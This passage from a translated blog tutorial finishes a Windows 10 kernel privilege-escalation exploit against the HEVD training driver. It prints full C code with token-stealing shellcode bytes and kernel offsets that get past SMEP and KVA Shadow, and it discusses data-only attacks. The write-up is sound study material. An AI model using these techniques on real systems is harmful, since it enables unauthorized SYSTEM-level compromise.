escalation processing, let’s add code to launch cmd.exe as a child process.</p><pre>system(&quot;start cmd.exe&quot;);</pre><p>With this, after privilege escalation is completed, a new shell with SYSTEM privileges should launch.</p><p><strong>Executing the Token Stealing Shellcode</strong></p><p>Let’s run the exploit and confirm it functions as intended.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*Cy9kyxC1zF_WPYcQXZp78A.png" /></figure><p>When the exploit is executed…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*JXHhBoN2REucOUiedk_ksg.png" /></figure><p>A new shell with SYSTEM privileges has launched!</p><p>Privilege escalation success.</p><p><strong>KERNEL SECURITY CHECK FAILURE</strong></p><p>However, a little while after running the exploit, a BSOD occurs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*Mi0m5iUE2OVS2wbXVNoDdA.png" /></figure><p>The stop code is <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/bug-check-0x139--kernel-security-check-failure">KERNEL_SECURITY_CHECK_FAILURE</a>.</p><p>This stop code is one of the stop codes displayed when Windows’ kernel modification detection feature (<a href="https://en.wikipedia.org/wiki/Kernel_Patch_Protection">Kernel Patch Protection</a>) detects kernel modification. In other words, the above BSOD may have been triggered as a result of detecting modifications by the exploit.</p><h3>5. Restoring Kernel State</h3><p>Finally, as exploit cleanup, let’s restore the kernel state.</p><p>The kernel space data overwritten during the exploit are the following two:</p><ul><li>Shellcode’s PML4E</li><li>HalDispatchTable+0x8</li></ul><p>For the shellcode’s PML4E, since we leaked the original value midway through, it should be fine to reset that value after executing the shellcode.</p><pre>ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &amp;originalPml4Shellcode_Entry);</pre><p>For HalDispatchTable+0x8, the current code overwrites it without leaking the original value. Since we don&#39;t know the original value, let&#39;s add code to leak the original value with ArbitraryRead before overwriting.</p><pre>PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);<br>printf(&quot;[*] Leaked HalDispatchTable+0x8: %p\n&quot;, originalHalDispatchTable8);</pre><p>After executing the shellcode, add processing to reset the original value to HalDispatchTable+0x8 with ArbitraryWrite.</p><pre>ArbitraryWrite(hHevd, halDispatchTable8_Address, &amp;originalHalDispatchTable8);</pre><p>Making the above changes prevents BSOD from occurring after exploit execution.</p><p>This completes the exploit.</p><h3>Exploit Code</h3><p>The following is the main function of the Exploit Code created in this article:</p><pre>int main(void)<br>{  <br>    HANDLE hHevd = GetHevdDeviceHandle();<br>    PVOID kernelBaseAddress = GetKernelBaseAddress();<br>  <br>    // TokenSteal.asm<br>    unsigned char rawShellcode[] = {<br>        0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,<br>        0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,<br>        0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,<br>        0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,  <br>        0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3<br>    };<br>    PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));<br><br>    // SetR13.asm  <br>    unsigned char rawSetR13[] = {<br>        0x49, 0x89, 0xcd, 0xc3<br>    };  <br>    PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));<br><br>    // 1. Bypassing PML4 Self-Reference Entry Randomization<br>    const size_t MiGetPteAddress13_Offset = 0x26b573;<br>    PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);<br>    PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);  <br>    unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);<br><br>    // 2. Bypassing SMEP and KVA Shadow <br>    unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);<br>    PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);<br>    uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);<br>    uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);<br>    ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &amp;modifiedPml4Shellcode_Entry);<br><br>    // 3. Bypassing Kernel-mode Address Check<br>    const size_t HalDispatchTable8_Offset = 0xc00a68;  <br>    PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);<br>    PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);  <br>    const size_t JmpR13_Offset = 0x80d5db;<br>    PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);<br>    ArbitraryWrite(hHevd, halDispatchTable8_Address, &amp;jmpR13_Address); // jmp r13  <br><br>    // 4. Executing the Token Stealing Shellcode<br>    HMODULE ntdll = GetModuleHandle(&quot;ntdll&quot;);<br>    FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, &quot;NtQueryIntervalProfile&quot;);<br>    ULONG dummy = 0;  <br>    ((void (*)(PVOID))executableSetR13)(shellcode); <br>    ntQueryIntervalProfileFunc(2, &amp;dummy);<br><br>    // 5. Restoring kernel state  <br>    ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &amp;originalPml4Shellcode_Entry);<br>    ArbitraryWrite(hHevd, halDispatchTable8_Address, &amp;originalHalDispatchTable8);  <br><br>    // Obtaining a SYSTEM privileged shell<br>    system(&quot;start cmd.exe&quot;); <br><br>    return 0;<br>}</pre><p>The full Exploit Code, including function definitions for ArbitraryWrite and ArbitraryRead, which are not included here, has been uploaded to the following GitHub repository:</p><p><a href="https://github.com/ommadawn46/HEVD-Exploit-Win10-22H2-KVAS">GitHub - ommadawn46/HEVD-Exploit-Win10-22H2-KVAS: HEVD Exploit - Bypassing KVA Shadow and SMEP on Windows 10 22H2</a></p><h3>Reflecting on This Exploit</h3><p>Now that we’ve walked through the implementation of the exploit, I’d like to take a moment to reflect on where this exploit fits in.</p><p><strong>The Kernel Exploit in This Article</strong></p><p>When writing a kernel exploit, the first goal is usually to establish a Read/Write Primitive that allows arbitrary kernel memory addresses to be read and written. Once you have that, what comes next is essentially a matter of “just doing it.” With the ability to read and write arbitrary kernel memory, the remaining steps to obtain SYSTEM privileges become generic and no longer depend on the specific vulnerability. Once you’ve done it before, you’re essentially repeating the same process.</p><p>Looking back, the arbitrary memory overwrite vulnerability used in this article provided one of the most powerful starting points HEVD has to offer: a Read/Write Primitive available simply by calling an IOCTL. We started with a capability that would normally be the goal of developing a kernel exploit already provided for us.</p><p>In that sense, what this article covered was really the generic “just do it” part that comes after a set of preconditions have already been met: Windows 10, KVA Shadow enabled, KASLR already bypassed (*), and a Read/Write Primitive already established.</p><p><em>* In this case, bypassing KASLR was simply a matter of calling a Win32 API, since the process was running at Medium Integrity.</em></p><p>Even so, the security mechanisms we had to bypass to get this far were quite extensive, including SMEP, KVA Shadow, PML4 Self-Reference Entry Randomization, and Kernel-mode Address Check. The process also required a fair amount of knowledge about paging and memory protection.</p><p>As kernel security has been strengthened layer by layer over the years, even the “just do it” part of modern kernel exploitation now requires a considerable amount of background knowledge. Perhaps that’s part of what makes kernel exploitation so difficult to get into.</p><p><strong>Modern Kernel Exploitation</strong></p><p>That said, the reason this exploit required bypassing so many security mechanisms was that we chose to achieve SYSTEM privilege escalation by executing shellcode in kernel mode.</p><p>In fact, this approach is no longer particularly mainstream in modern kernel exploitation. As mentioned earlier in the article, VBS/HVCI is enabled by default on Windows 11, and in environments where VBS/HVCI is enabled, executing shellcode in kernel mode as we did here becomes much more difficult.</p><p>Instead, what has become mainstream is a technique known as a “Data-only Attack,” which achieves privilege escalation by modifying only a minimal amount of kernel data.</p><p>Specifically, once a Read/Write Primitive is available, you can directly overwrite the current process’s _EPROCESS-&gt;Token with the token value from the SYSTEM process. It&#39;s essentially the same Token Stealing we implemented in our shellcode, but accomplished entirely through data writes, without involving any shellcode.</p><p>In other words, while the approach taken in this article is useful for learning about Windows security mechanisms and how to bypass them, real attackers might not choose such a roundabout method.</p><h3>Conclusion</h3><p>This article came out of picking out topics related to “5 Driver Callback Overwrite” from the <a href="https://www.offsec.com/awe/EXP401_syllabus.pdf">EXP-401/AWE syllabus</a> (*) and bringing them together into a single article using HEVD as the central theme.</p><p><em>* SMEP, KVA Shadow, PML4 Self-Reference Entry Randomization, Token Stealing, and so on.</em></p><p>For the past few years, I’ve been hooked on earning OffSec certifications, and in July 2022 I earned <a href="https://www.offsec.com/offsec/osce3-certification/">OSCE3</a>.</p><h3>おまどん on Twitter: &quot;I received my OSCE3 certificate today! My long journey, which started with OSCP, two years of study, and a total of hundreds of hours of exams, is finally over.Thanks to @offsectraining for the great challenge! pic.twitter.com/eiK8hKPbXv / Twitter&quot;</h3><p>I received my OSCE3 certificate today! My long journey, which started with OSCP, two years of study, and a total of hundreds of hours of exams, is finally over.Thanks to @offsectraining for the great challenge! pic.twitter.com/eiK8hKPbXv</p><p>After OSCE3, the obvious next step had to be OSEE, so I’ve recently been studying on my own to prepare for EXP-401/AWE. This article was also written as part of that preparation.</p><p>As mentioned earlier, the exploit we built here might have been a somewhat roundabout approach from the perspective of a real-world attack. Even so, investigating these individual security mechanisms one by one and figuring out how to get past each of them was genuinely a lot of fun for me.</p><p>I hope this article proves useful in some way.</p><h3>References</h3><ul><li><a href="https://www.matteomalvica.com/blog/2020/09/24/weaponizing-cve-2020-17382/">Kernel exploitation: weaponizing CVE-2020–17382 MSI Ambient Link driver :: — uf0</a></li><li><a href="https://labs.bluefrostsecurity.de/blog/2020/06/30/meltdown-reloaded-breaking-windows-kaslr/">Meltdown Reloaded: Breaking Windows KASLR by Leaking KVA Shadow Mappings | Bluefrostsecurity</a></li><li><a href="https://www.coresecurity.com/core-labs/articles/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows">Getting Physical: Extreme abuse of Intel based Paging Systems — Part 2 — Windows</a></li><li><a href="https://www.crowdstrike.com/blog/state-of-exploit-development-part-1/">The State of Exploit Development: Part 1 | CrowdStrike</a></li></ul><blockquote>This article is an English translation of <a href="https://ommadawn46.hatenablog.com/entry/2024/01/30/101340">https://ommadawn46.hatenablog.com/entry/2024/01/30/101340</a>.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b407c6f5b8f7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>